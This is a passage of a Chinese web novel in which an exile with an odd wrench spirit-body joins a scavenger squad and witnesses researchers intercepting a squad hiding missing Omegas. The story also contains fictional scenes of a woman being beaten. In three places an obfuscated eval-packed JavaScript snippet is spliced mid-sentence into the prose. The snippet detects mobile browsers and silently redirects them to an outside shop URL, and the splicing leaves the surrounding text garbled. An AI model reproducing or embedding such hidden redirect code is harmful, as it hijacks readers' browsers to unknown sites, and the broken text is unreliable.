白少凌心想，点头回应塞西尔少爷的问题，却没有表露内心的鄙视。 危机解除，塞西尔少爷再次抖擞起来。安全航区惊现污染物，他不仅亲历还生还了！这段传奇经历，够他在上流圈子吹一辈子。 塞西尔少爷眼珠咕噜噜转，笑着对白少凌说，“多亏您第一个发现维尔汀港异样，虽然很可惜您拼尽全力没能救下全船人，但您带我们从污染物下活着回来了，不愧是白塔顶尖哨兵！” 这番话是在暗示，等撤到安全地带再告知白塔出现了污染物。有塞西尔家作证，外界只会以为白少凌保护乘客奋勇对抗污染物，谁敢怀疑他们弃船逃跑？ 白少凌定定看了塞西尔少爷几秒，二人相视一笑。 一个美滋滋心想等回去一定要让家族暗中操作，大肆宣传，研究院首席科学家未来必有他一席之地。另一个心潮澎湃，B+级哨兵在白塔只能算平庸，以白少凌年纪晋升已经到头了。有了这件事，没准他能往上更进一步。 “不过那个况野也觉醒了精神体，”塞西尔少爷说了担忧，“万一她活下来……” “不可能！”白少凌断然说。 以他经验，面对占据港口的污染物，A级哨兵都不一定能活下来，何况一个精神体扳手，白塔不要的废物？况野连让他正眼瞧的资格都没有。 “那我们就可以放心了。”塞西尔少爷满意。死吧，港口和飞船上的人死绝了才好，死无对证。他们想怎么编还不是他们说了算。 塞西尔少爷趁热打铁，“我们塞西尔家永远是白塔的好朋友，不瞒您说我们和驻扎各个污染区的司长还有顶尖哨兵向导们都很熟。”他张嘴报了一连串耳熟能详的名字，表示塞西尔家族可以帮白少凌引荐。 “慕星北？”白少凌吃了一惊，这个很少流露个人情绪的哨兵有点急切地追问，“是那个慕上校吗？” 塞西尔少爷故作深沉地点头：“是他。” 塞西尔家族竟然能拉拢到慕星北？白少凌半信半疑。 联盟家族对慕星北态度微妙，这个极为罕见的白塔评级为S+级的哨兵，每个家族都不遗余力地想把他拉到自己那边，却没有成功过。 慕星北就好像一柄绝世锋利的剑，没有剑鞘包裹，用起来总让人胆战心惊害怕割了手。 塞西尔少爷强撑着吹嘘：“慕上校面前，我们家还是能说上话的……” 话还没说完，逃生船内部光线转红，警报声席卷了这片星域每一艘飞船：“警报！维尔汀港出现污染物，请所有飞船立即绕行……” 哪个天杀的向白塔预警了？！塞西尔少爷蹦了起来，上一秒的得意荡然无存。 他们的计划泡汤了。不，不止这样，逃生船离开和警报发出的时间差，稍微动动脑子就能推测出他们扔下全船的人跑了。 其他少爷小姐对他的崇拜恭维，媒体对他的采访和赞誉，自己一跃而成研究院最炙手可热的新星…… 塞西尔少爷心如刀割，所有美好幻想全都成泡影了！ 难道呼救的是况野……？ 想法刚冒出，就被塞西尔少爷咬牙切齿掐灭了。 不，不可能！他宁愿相信是其他哨兵从天而降，也不愿相信那个Beta竟然活了下来，还坏了他们的计划！ 对，一定是其他Alpha其他哨兵……塞西尔少爷自我催眠着，忍不住气得锤墙。 > 另一边，况野时昏时醒。 她整个人似乎沉到意识深处，被迫在珊瑚礁般的不同记忆碎片间游弋，另一方面她还能模糊感觉到外部动静，有人不怎么温柔地把她扛了起来，还有另一些人摆弄处理着她的伤口。 脑袋里多出的污染物记忆，十有八九是倒霉扳手趁她不注意把核给吃了。 现在况野面临麻烦甚至危险的处境：她该怎么把核消失的事圆过去。 傻子才会如实说，如实说意味着她会丧失好不容易争取来的自由，并被当作实验品研究，从此和这两个字无缘。太拙劣的借口又骗不过白塔。 即便处于昏睡，况野仍感觉到一股紧迫的焦虑。 医用辅助机器人比照顾况野的医护人员更早发现她苏醒。 “您醒啦？”医用机器人声音设置得总是这么欢快，据说是要给病人营造一种乐观向上的氛围。况野接过伸长机械臂递过来的热毛巾嘀咕。 况野观察周围环境的时候，医护人员快步赶来：“精神状态良好，身体各数值正常，你可以出院了。”医护啪地一声把出院单子撕给她。 “……我可以出院了？”况野重复。 “不然呢？”医护态度不怎么好，翻了个白眼，“我们白塔替你垫付的医药钱，你还想一直赖在这里不成？近期有幻听，情绪不稳定的症状是正常的，你的污染值显示轻度污染，找向导给你疏导清理污染值当然可以，不过你大概请不起向导吧？” 况野：…… 和普通人污染值积累到阈值就随时异变成污染物不同，哨兵向导体内的污染值可逆，可以反复进出污染区，只要污染值飙红前及时找到愿意为你清理的向导就行。不过向导不是出钱就能请得起的，有市无价。 况野不在意医护对她糟糕的态度。她意识到白塔没怀疑到她头上，虽然不知道为什么。 在医护和善的眼神里，尽管身上还有点疼，况野还是麻利地滚了。 穿过病房走廊的时候，况野听到两个远处的医护人员小声议论她。 “那个维尔汀港的病人好惨啊，真的被赶出院了……明明是她杀死污染物发送求救信号，怎么能这样对待她呢。” “嗨，我有熟人知道点内情……现场一点有价值的东西都没剩下，她又不是我们白塔哨兵，拿不到奖励荣誉不是应该的吗，司长们还同意帮她治疗已经善心大发了。” “话是这么说，不也把人塞到那个地方送死去吗……” 况野拐了个弯，八卦剩下的尾巴听不到了。 成为哨兵向导日常听墙角应该听得挺快乐吧！况野感叹一句，转而思考起听到的内容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372833|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>值得注意的信息有两点。一是维尔汀港出现污染物果然惊动了白塔司长级人物。 二是可以解释她为什么还好端端站在这里，没被拉去审讯。白塔调查重点居然放在搜寻剩余有价值的物品上，碎裂的核没有价值，也就没有了调查的必要。 逃过一劫，况野却没多少高兴的情绪。 白塔延误救援，事后不关注污染物如何入侵，反而盯着什么有利可图。 就因为她和她的精神体都是白塔不要的废物，死在维尔汀港也是应该的。要换任何一个普通白塔哨兵或者向导解决维尔汀港这件事，恐怕会是鲜花掌声，荣誉加身吧？ 白塔的作风…… 医院玻璃门中倒映出面无表情倒比大拇指的况野，讥诮地想。 毫不意外地令人失望。 手腕上金属手腕持续震动，况野低头查看。义务劳动地点从原来的雷纳塔星变成了更详细的：雷纳塔星-拓荒者组织-001小队，限期两日内报道（超时将倒扣2000点联盟币）。 来了来了，白塔给她穿小鞋来了。 况野抓了抓狗啃短发，站在医院门口看着来来往往的人陷入茫然。 712号飞船船员死完了，她该怎么去雷纳塔星？ > 污染五区，雷纳塔星。 真好啊……今天又是平静的一天。 耶格走进拓荒者分部，发出如上感叹。 她不知道今天以后，这种体验会离她很遥远了。 头发花白的小老太例行日常给自己泡了杯茶，肉桂和生姜味道渐浓的茶水蒸汽里，她眯眼检查光脑上各支小队状态。 005小队出任务……017小队申请休假…… 拓荒者组织本就不是什么有名的大组织，像雷纳塔星人手稀缺的分部，干脆只有小队一级，扁平化管理。 001小队新成员报道……耶格咦了一声，敲敲脑门。她怎么对这项毫无印象？ 耶格表情凝重起来，系统里她也无权取消的日程意味着是比她职级高很多的上司直接下达的，今天恰好不会有任何飞船前往雷纳塔星。 可怜的新队员，来的是001那种小队，才刚到污染区就要被扣钱。耶格对素未谋面的新队员充满同情。 她担忧地在拓荒者分部等到日落，看看倒计时摇了摇头，收拾东西准备下班。看来这位新队员是不会出现了。 这时一个人影旋风般冲进拓荒者分部，老旧的金属门都被气流摇晃得嘎吱响。 况野凭借预演过好几次的速度，抢在倒计时最后一分钟扫上了虹膜！ 报道成功。 哈哈想扣她钱？门都没有！ 况野神采奕奕地向被她震惊到，端庄优雅的老太太打了个招呼。 她是错过了全部来雷纳塔星的客船，但谁说只有客船能飞。况野花了很少的一点联盟币就和货船老板谈好了价格，唯一美中不足的是她和一船臭咸鱼亲密接触了两天，现在见人都得保持安全距离。 况野也不多客套，单刀直入：“拓荒者小队有单独训练室吗？我想训练一下。” 她的精神体有太多不寻常了，况野必须好好检查测试一下。 9. chapter 9 耶格讶异地看了况野一眼：“训练室……应该是有的吧。” 等况野跟着耶格来到训练室，顿时理解了她语气的不确定从何而来。 这哪里是什么训练室，充其量是破旧小体育馆，角落摆放了几台健身器材和冷兵器。况野抽出一把制式匕首，上面的日期编码比原主年纪还大。 况野一阵无语，对污染区的生活条件有了全新认知。 “这里是拓荒者小队公用的，想来随时可以来，就是隐私性不太好。”耶格说。 她看得出新队员经济状况不错，善意建议，“如果想要单独训练室，你可以考虑租一个云鲸。” 况野没多犹豫，当即决定要租一个。扳手的特殊性越少人知道越好，现阶段她很需要一个安全性隐蔽性得到保障的空间。 所谓云鲸是污染五区特有的一种建筑模式，为了能在污染物来袭时迅速撤离，房屋装配了乱七八糟的升空装置，依附最大一艘飞船悬浮。鱼鳔形状的房屋群在空中缓慢移动的样子很像鲸鱼，这个称呼就这么叫开了。 污染物占据了雷纳塔星三分之二的土地，人类的城市不过是所剩区域中居无定所的一个小点。 一个多小时后，况野拿到了出租屋的钥匙。 录入虹膜和指纹，这个十几平米，墙皮剥落的小空间就成为了况野在雷纳塔星的落脚点。 想到价格，况野肉疼地龇了下牙，租金快赶上联盟中心了。拿钥匙的时候房东还真诚祝愿她别那么快死了。押一付三，死了不退。 家具什么的不急，况野谨慎地锁好门窗，深吸一口气，释放了扳手。 扳手外形上没有改变，入手却沉重不少，吞下污染物核之后，扳手的密度似乎变大了。 况野在意的，是要弄清楚为什么扳手能合成双头锤。 裸露的水泥地板上，况野提前准备好的物品排成一列：小刀，钥匙，叉子，木棍……还有她从拓荒者训练室偷偷借用的哑铃。 况野先拿起小刀，尝试地将它贴到扳手上，然后一松手，小刀就从扳手滑到了地上。 况野：……突然感觉这个举动很蠢怎么回事。 接下去无论是零碎金属物品，还是木棍，试验都毫无例外地失败了。全程扳手像死猪一样一动不动。 是哪里不对？况野心里嘀咕，和污染物战斗时情况紧急没空思考，可不代表扳手合成双头锤是她精神高度紧绷臆想出来的。还剩最后一次机会，况野将哑铃伸向了扳手。 况野的视线和哑铃一起定格在扳手上。 一秒，两秒……况野数着心跳，无事发生。 就在况野有点失望地挪开目光时，手中陡然一轻，哑铃完美地和扳手融为一体。 成功了！ 况野喜悦地挥挥双头锤，水泥地上瞬间凹下去一个不大不小的坑。这次双头锤没有维持太久，仅仅几十秒后扳手就和哑铃分离。可即便和扳手融合时间不长，哑铃的质地也肉眼可见发生质的改变，更像金属靠拢。 为什么精神体仅仅只能和哑铃合成？ 对这个问题况野思考了良久，最后做出了一个推测，在这么多她找来试验的物品里，她唯独能想象出哑铃和扳手合成的样子。 其他譬如小刀之类的东西，况野绞尽脑汁也很难脑补出扳手+刀刃组合的模样，多功能瑞士军刀？三个头的扳手？怎么想都不对。 坐在简陋的出租屋里，况野有充足时间慢慢梳理自己的发现和这几天的经历。 哪怕扳手不是和什么东西都能合成，也无疑是个天大的好消息。 而且她的精神体并不是专家论断那样的对污染物造不成伤害！这意味着她有了在污染区自保的武力。 况野向来无表情居多的脸忍不住弯了弯嘴角，眼神发亮地抚摸扳手，她看弱智扳手从来没有这么顺眼过。 更重要的是，合成期间，非扳手部分都拥有了对污染物的攻击力。扳手这一能力相当逆天，假如合成的时间维持得再长一点，假如恢复原状后其他物品能保留对污染物的攻击力…… 况野心脏砰砰直跳：等于她有可能拥有有使用时限，但数量众多的伪精神体！ 白塔哨兵和向导常规只拥有唯一精神体……她拥有精神体库！ 她按住有点发热的头脑，在屋里走了几圈，强迫自己保持冷静。 冷静，冷静，目前都只是自己的推测而已。 况野重新冷静下来，又一次举起物品验证猜想。可是之后无论再怎么尝试扳手始终半死不活躺在地上，扳手头到扳手尾，罢工的意思很明显。 扳手虚弱表示：【鹅。】 况野恍然大悟。 人类和精神体的悲欢在此刻偶然相通，敢情她觉醒后一开始没能发现扳手最大的不寻常，是联盟中心接触不到污染物，扳手一直处于饥饿状态启动不了。 扳手合成需要燃料，燃料就是污染物孢子。 况野想测试扳手到底能不能把普通物品改造成对污染物的武器，摆在她面前的选择只有一个： 进入污染区，搜集灰雪。 > 况野翻开光脑，耶格女士临走前帮她申请了一个拓荒者内部账号，平时接任务，和队友交流什么的都可以通过论坛来。 论坛界面简陋，跳转网页第一眼，大大的标语就贴到脸上：为生存，为金钱！ ……真是够直白的口号，况野欣赏这种直白。 白塔授意把她塞进的拓荒者组织，是挂名在白塔下的民间组织。污染区内总有白塔来不及顾到的角落，居民们会自发组织起来保卫家园，或者像拓荒者组织这样，更偏向于主业深入污染区搜寻物资，副业接各种任务的雇佣兵组织。 从某种程度上白塔反而方便了况野后续进入污染区，研究自己的精神体。 况野论坛账号下是一个细长进度条。 义务劳动贡献值：0/1000000 放逐污染区的刑罚，说残忍也残忍，说宽容也宽容。每个流放者根据裁决，倒欠联盟不同的贡献值，贡献值可以通过建设污染区取得，也可以用联盟币直接兑换。 比如以况野目前账户上的联盟币，按照当前比率能兑换到差不多二十万贡献值。 联盟的游戏规则对真正有钱有权势的人留了后路，给联盟中心缴纳巨款换一条命，对站在金字塔尖的一小撮人还是很划算的。 但是 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【我儿林辛宥，联盟历91年x月x日生，第二性别Omega，就读于雷纳塔星第十二高中，两天前失联，至今尚未归家……】 帖子语气焦急，详细描述了失踪少年的长相，生活习惯，一看就知道悬赏人是那种日常很关心了解孩子的父母。 【……我的孩子最近沉迷迦南，这是他在迦南里最后联系的朋友，我们怀疑儿子被哄骗进了污染地区！请知情人士提供线索，大家帮忙寻找……】 况野往下划动的手指顿住了，停在了悬赏人提供的失踪者朋友照片上。 漂亮的女孩对镜头笑容灿烂。 陌陌！ 况野认出了她，竟然是前几天和她在一艘飞船上的Omega！ 维尔汀港事件后况野打听过她的去向，据说飞船上没受伤的幸存者都被先送往污染区了，况野不知道陌陌去的是污染几区，没想到在寻人任务中omega以失踪者最后联系人的身份出现了。 拉到末尾，况野看到了个过分慷慨的悬赏数字。 系统给完成这个任务评定的贡献值高达1000点，想想也是，哪怕是污染区的未成年Omega，能为联盟生育下一代，自然会引起重视。况野心想。 拓荒者组织都是整支小队共同行动，况野再眼馋这1000点贡献值，也得考虑还没见过面的001小队队友。 她眼睁睁看着接受任务键变灰，有人接下了这个任务。 行吧。况野标记了这个任务，她想知道少年Omega的失踪和陌陌有没有什么关联，而后伸了个懒腰，准备关掉光脑，去洗漱休息。 【001小队接受任务-普通任务-搜寻E470污染区】 【你已被001小队队长踢出该任务】 【你已被001小队队长禁言】 通知接连蹦出，况野一愣，什么情况？ 右下角001小队群聊出现两条未读消息。 贺凝（队长）：【滚回联盟中心去】 贺凝（队长）：【白塔的走狗】 10. chapter 10 况野觉得十分新鲜。 她这是……遭到了职场霸凌？ 自己分明是被白塔穿小鞋分配到了拓荒者，又要被骂白塔走狗，难道在别人眼里她是白塔安插下来的眼线？ 况野也没想到001小队会公开表现对白塔的敌意，按道理白塔是拓荒者的上层领导机构才对。 偏偏贺凝还给她禁言了，想在群里反击回去或者解释都不行。 况野倒不如何生气，不过她信奉不带情绪过夜，把这一小口气出了她今晚睡眠质量才能更好。 市中心酒吧里，001小队人手一杯淡啤酒畅饮。 这是拓荒者小队出任务前的老传统，进入污染区前总要享乐一番，毕竟没人知道出的任务是不是最后一次。 其他小队更喜欢吃火锅撸烤串，001小队只喝淡啤酒，因为穷。 浅琥珀色的浆液在杯里摇晃，奥菲莉亚搁下啤酒杯，感叹雷纳塔星酒精供应一批不如一批，这次的酒尝起来和气泡水没什么差别。 转头看到队长贺凝训斥季宁萌，多喝几口机械义肢锈得更厉害，任务碰到污染物队里没人能扛着她跑路。 季宁萌快哭了：“那队长你还给我点啤酒，不是考验我意志力吗？”她是土生土长雷纳塔星人，小时后基因突变截了右半边手脚才保住命，现在走跑跳都靠植入的机械义肢支撑。 其余人望着桌上六杯啤酒沉默了。 “……”贺凝，“喝你的柠檬水去！” 这其中一杯淡啤酒本来是点给新来的，001小队六人，加新来的七个。来酒吧的路上队长还很高兴，上面终于又给他们加了人手，没想到看完耶格女士发来的新队员资料就这样了。 Beta，联盟中心来的，觉醒了精神体。 剩下四位队员交换着眼神，001小队不是歧视第二性别的地方，队里有奥菲莉亚这样的女性Alpha，也有霍卫这样的男性Beta，Beta可以，联盟中心犯事沦落到污染区的大小姐可以，但是白塔的人不行。 被贺凝愤怒狂风暴雨一阵洗礼的耶格女士温和而坚定地否决了他要退货的诉求，并提醒他001小队不满正常十人编制已经很久了，再这样下去组织要考虑撤回001小队编号。 贺凝咆哮：那也不能把连白塔都不要的废物塞给他们！ 热的不行贺凝就来冷的。 排挤况野，出任务剔除况野，拓荒者组织内部也是有KPI的，把她当透明人一段时间，对方就被组织清退了。 霍卫咦了一声，飞快往贺凝那边瞟了一眼，“队长，快看论坛。” 他负责001小队的技术和通信部分，自然更关注网络动态。 lv.1修电脑三斤十元：【@贺凝你为什么不去联盟中心，是因为不想吗？】 lv.1修电脑三斤十元：【@贺凝看别人像狗，看来你对当狗很有经验】 lv.1修电脑三斤十元：【@贺凝傻。X。】 况野直接在拓荒者论坛上发帖了！ 最简单的嘴臭，最直接的快乐。 贺凝有权限群里禁言她，却没权限删论坛帖子。雷纳塔星拓荒者版面风平浪静惯了，如此指名道姓的标题一下子炸出了好几队第二天出任务熬夜狂欢的人，刷了一路问号。 贺凝在雷纳塔星拓荒者圈子里小有名气，这是新人和老前辈干起来了？ 众所周知001小队贺凝是个暴脾气，拓荒者们看热闹不嫌事大：打起来，打起来！ 但是也有人好心提醒这个叫修电脑三斤十元的新人，不要和队友闹得太僵，去污染区没熟手带是会死人的。 贺凝咬牙切齿地将啤酒杯掼到桌上，厚重杯底砰地裂了条缝：“让，她，去，死！” 小队成员面面相觑，贺凝过分，新人把队内矛盾摆到台面上也挺过分，贺凝深呼吸，才抑制住挽起袖子在论坛上回喷的冲动。 这位雷纳塔星最资深的拓荒者之一伸出一根手指，点了点霍卫，厉声说，“帮我跟其他小队队长打声招呼，谁跟新人一起出任务，就是不给我贺凝面子！” 没人组队，确实是一个问题。 况野美美在水泥地板上睡了一觉醒来，收到耶格女士的消息，委婉告诉她正在努力协调001小队一起执行任务的问题。 然后况野登上了拓荒者组织论坛，昨晚她发完帖子就去睡了，不知道战况。 帖子还在，管理员还没上线删掉它们，齐刷刷被顶成了热帖，悬挂在最上方。 况野心情不错地笑了一下，起码这几个小时有人点进来一次，贺凝就会被不知情的人士默念标题骂上一遍。 进编号E开头的污染区必须至少两人一块行动，那块污染物精神残留很强，容易致幻。况野想尽快进入污染区，就得找个队友。 她在帖子里尝试找人组队，明明拓荒者们帖子刷得起劲，却无人敢回复她这一楼。 是规则如此，还是不想得罪001小队？况野沉思。 耶格：【抱歉，001小队那边还是不同意。要不我先给你批几天假期，好好适应一下环境？】 况野：【没关系，我想申请单独执行任务】 耶格撤回了一个问号。 耶格：【可以是可以，但太危险了，我不建议你这么做】 除了白塔哨兵和向导，普通人对付污染物缺少有效武器。遇到污染物想活下来只能靠好运气和跑得快。 但况野有精神体，说不定她有能力杀掉污染物？这样想想，在况野坚持下老太太随她去了。 况野挑选了一个在U污染区搜寻物资的普通任务，她不后悔一来就和贺凝撕破脸，001小队对她的敌意太重，就算她服软低头也不一定能让队友接纳她，反而有可能让人觉得她好欺负。 再说，一个人出任务也方便她研究精神体。 下午，城市部分云鲸下降，七天后的同时间同地点，云鲸会把执行任务回来的拓荒者们接回城。 况野差点在云鲸上和001小队六人碰上，是耶格过来把她叫走了，才免于冲突爆发。 “这台车虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372835|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧了点，但我检修过了，性能有保障。”耶格说，深深叹了口气。她这个雷纳塔星拓荒者分部的领导有时候当的还真是心累。 况野：…… 她礼貌地克制自己不对这台电动三轮面露嫌弃。拓荒者组织穷到这种程度了吗，其他小队好歹是越野，要让她危急情况下开着三蹦子逃命？ 夕阳渐落，云鲸同饱满的火红球体一同降落，地面上茂密杂草在强大气流吹拂下弯折，准备就绪的拓荒者们微微肃容，盯着这片草海向地平线的延伸方向。 那里有人类恐惧和渴望的一切，逝去的和平年代，残破的高度文明，以及污染物。 云鲸防护墙缓缓倾斜，车轮发出加速摩擦地面的刺耳声响，最前面的拓荒者小队一马当先，改装越野从近两米高的空中凌空跃下，其他车辆紧随其后，纷纷冲进污染区！ > 况野挑了一个最简单低级的任务：搜寻物资。 况野不太清楚在污染物尚未降临的年代，这个世界科技到底发展到了什么高度，但至少可以肯定和污染物的战争让人类文明水平部分倒退了。甚至一些旧日制造的产品人类已经无力再生产了，因此只能期待从污染区搜寻获得。 不过况野进入污染区的目的是搜集灰雪，势必不能在最安全的编号U开头的污染区多晃悠。 经耶格女士改造过的电动三蹦子况野开得十分顺手，一路往邻近污染区开去。 晚上她就和衣躺在驾驶室里，抬头就能看见明亮硕大的星辰，全世界只能听到野草轻轻拍打车窗的声音。 如果不是有拓荒者污染程度地图时刻定位，还有发的简易污染数值检测仪，况野会错觉这是一次野外旅行。 变数发生在第三天早上。 况野已经很接近目的地F7污染区了，出发前她做了一些准备，雷纳塔星最近一次消灭小型污染物就是在F7污染区，没准会有残留的污染物孢子。 启动电动三轮的时候，况野隐约听到旋翼声。 天空中赫然出现一艘小型飞行器！ 黑点一般的，由远及近的飞行器在空中非常醒目，况野警觉起来，独闯污染区，有的时候危险的不一定是污染物，还有同类。 她向左猛打方向盘，幸好不远处有株大树，树冠能遮挡住电动三轮，她先躲一会。可沿途车辙况野一时间就没办法了，只能祈祷不会暴露行踪。 眨眼间旋翼噪音逼近，况野熄了火，一动不动在车内等待着。 扳手硌手的手感给了她力量感，五感专注到极致—— 飞行器上的人似乎没注意到下方活动的痕迹，径直从树顶飞过。 就在况野刚松了一口气的时候，忽然不远处另一阵引擎咆哮声传来，一人多高的野草像是波浪般向两侧飞溅。 不止一辆车，而是三辆！ 这帮人气势汹汹朝这边驶来，最糟糕的是，这种肆无忌惮的行为引起了飞行器的注意，刚刚掠过的飞行器又掉头飞了回来！ 况野扶住额头：她的运气一定要这么差吗？！ 11. chapter 11 仔细观察周围，杂草完全淹没了电动三轮和她，只要不离得太近，树冠和野草就是最佳掩护，别人发现不了她。 况野心定下来，掏出双筒望远镜，静观其变。 三辆越野，来的至少十人往上，这个人数是拓荒者小队……？况野在心里判断着，开路和押尾的两辆车紧紧护着中间的越野，显然那台车上搭载了重要的物资。 飞行器的速度比越野快，不到半分钟，两队人马就在距离况野七八米远的地方对上了。 飞行器悬停：“停车。车上的人全部下来接受检查。” 况野心说好大的口气，飞行器上的人貌似来头不小。 车队的人估计和她一个想法，过了十几秒，越野车队熄火停车，从车上下来六七个身形精壮的男女，果然揣着拓荒者制式装备。 “放下武器装备，双手举高。”飞行器喇叭里再次传来冷淡命令声。 “喂！有完没完，给你面子你还蹬鼻子上脸了！”小队中年轻一点的男性忍不住叫嚷，污染区无故缴械等着送死吧。 那人无动于衷：“研究院章程规定，请配合。” 年轻男性还想抱怨什么，被前头壮汉拦了下来，带头解下武器慢慢放在地上。 又是研究院的人。 况野脸色沉了沉，勾起了没来得及痛打塞西尔少爷出气的憋屈情绪。 这队研究员地位远在塞西尔家族之上，飞行器投射出一道紫光从头到脚扫描完拓荒者们才下降，类似的技术况野在联盟中心的时候见过，作用是检测污染值，造价十分高昂。 飞行器落地，走出几个人，望远镜有限视角里他们都穿了防护服，谨慎得不能再谨慎，簇拥着中间的年轻人。在这些人里她扫到一张眼熟的脸。 况野：呵。 扳手同步：【呵。】 冤家路窄，抢着贴在中间研究员身后，堆着殷勤笑容的不是塞西尔少爷是谁！ 况野握着精神体的手手痒了。 既然碰上了就没有再放跑仇人的道理，况野视线冷静地从点头弯腰的塞西尔少爷喉咙滑到胯骨，标记好从哪个部位开始实现把Alpha少爷锤成三段的誓言。如果不是她觉醒了精神体加上一点运气，她早因为塞西尔少爷和白少凌弃船逃跑害死了。 不过现在还不是动手的时候。 “015拓荒者小队，贝尔蒙特队长。”年轻研究员说，他有着一张白皙清瘦的脸，说话咬字清晰，尾音干净。听声音正是刚才下达命令的人，“你们为什么偏离了任务执行区域？” 壮汉一哽，疑惑研究院的人怎么会认得他们，还清楚他们的任务？贝尔蒙特的余光悄悄瞟了眼竖起来的不透明车窗，赔笑着说，“哈哈这不是检查完F7区污染物残留点没什么事，我们就想赶紧返程安全点。” 年轻研究员点点头，贝尔蒙特似乎舒了口气，却冷不丁听研究员说，“从F7污染物残留点到这需要接近一天，时间对不上。你们根本没到污染物残留点。” 年轻研究员掀起眼皮，冷冷目光停在静止的中间那台车上： “去看看他们藏了什么东西。” 精彩。十分精彩。 深居联盟中心的研究员对雷纳塔星的污染区了如指掌，这个被叫做“黄博士”的研究员让况野有些意外地挑眉。 同行之人无视015拓荒小队的怒意，刚将车门拉开一条缝，忽然原地愣住了，下意识舔了舔嘴唇。 除了况野，在场的人都闻到一股水果甜香，甜美丰沛的汁水在薄薄表皮下涌动，仿佛一嘬蜜糖般的汁液就充满口腔，所有Alpha莫名口干舌燥起来。 热意迅速涌上那名研究员的面颊，他呼吸变得急促，这是Alpha的本能。他慌忙关上了门。 黄博士“呵”了一声：“两个Omega。”其中还有个处于青春期，不能很好控制信息素的Omega。 015拓荒者小队千方百计藏着两个大活人。 “不是的！”生怕被扣上拐卖Omega的联盟重罪，贝尔蒙特立马叫屈，“我们只是刚好在F7区碰到了这个走失的Omega少年，还捉住了诱骗他的嫌疑人！” 紧接着贝尔蒙特拽着Omega长发，不由分说把她从越野上拖了下来，痛得尖叫连连。 况野不适地皱眉放低望远镜，镜头再扫回去顿住了：双臂环着自己发抖的Omega是陌陌！ 那留在车上的少年就是悬赏任务寻找的林辛宥了？ 况野记得接悬赏任务的是另外一个小队，看样子015小队在前往F7区污染物残留点的时候发现了失踪的少年，想赶回云鲸上抢交任务。 听完贝尔蒙特解释，黄博士推推无框眼镜，“又有Omega失踪……” 又？况野敏锐抓住这个关键字，难道污染区接连失踪了不少Omega？ 看着黄博士吩咐手下拿着仪器给陌陌和林辛宥扫描污染值，况野终于想起这号人可能是谁了。 联盟最先进的污染值检测仪随便用，黄博士应该是金月仙的学生。 金月仙，研究院首席，联盟少年天才。 况野用的简易污染数值检测仪也是金月仙的手笔，有效防止普通人误入污染值浓度高的区域。没有她的研究成果，不知道会白白多死多少人。 黄博士显然对林辛宥失踪非常关注，一连问了好几个问题。 直到黄博士问完了，一直乖巧旁观的塞西尔少爷才小心翼翼地请示，“黄博士，您看我和这Omega说几句话行吗？” 黄博士不说话算默许了，远处的况野顿觉不妙，抬起膝盖想下车马上又停住了。 她现在不能出去。 搞不好保护研究员的哨兵不露面在飞行器警戒，以哨兵五感，她还没走两步就被发现了。 塞西尔少爷走到陌陌面前，一秒变脸，劈手甩了她一耳光。 “你以为你跑得掉？”塞西尔少爷阴沉沉说，“以为背叛塞西尔家，抱上废物Beta大腿我会放过你？” 几个塞西尔家族授意碰瓷况野的a和o里，只有陌陌活了下来。事后塞西尔少爷托人调查才知道，坏他好事的真是况野，而陌陌这个低贱Omega是靠转投况野活下来的！甚至听说她当时没等到况野出港还不肯走！ 意图攀附塞西尔家族的贱民，转头亲近他的敌人，这让塞西尔少爷恨得牙痒痒。 他暂时没抓到况野，还教训不了一个没背景的Omega吗！ 塞西尔少爷喘着粗气，失去理智地一脚又一脚踹向Omega。周围的人沉默看着，仿佛视而不见。015小队有队员看不下去，抬脚准备上前，被队长贝尔蒙特按回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372836|200008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 风把Omega的哭声带的很远。 况野双手摁在膝盖上，内心怒意燃烧。后视镜里她看到一张嘴角轻微抽搐的脸，双眼因愤怒而发亮。 她恨自己不够强大。 她一定要尽早搜集到足够的孢子……有天要是用扳手能搓出枪，她一定要把这些人全都突突了！ “好了。注意点，这是育龄Omega，别把人打死了。”黄博士摘下眼镜，有点疲惫地捏捏眉心，语气平淡地说。 塞西尔少爷意犹未尽地收了手。 015拓荒者小队等着黄博士的安排，难掩焦急。好不容易运气大爆发撞上失踪的少年，可现在能不能把人带回去拿到悬赏，黄博士说了算。 就在这时，另一名研究员捧着光脑快步走来道，“博士您看，他们说的那个悬赏任务……” 悬赏任务更新了。 【紧急！寻人启事！寻找我的儿子林辛宥！（已找到）】 【谢谢大家的帮助！我的儿子回来了！小孩子只是离家出走，我们两夫妻已经好好教训过他了，他保证不会再乱跑了】 悬赏人上传了一段视频，少年对着镜头乖乖表示了感谢。 “不可能！”贝尔蒙特第一个惊呼，他抢过研究员手里光脑，看着帖子面色发白，“那孩子明明……” 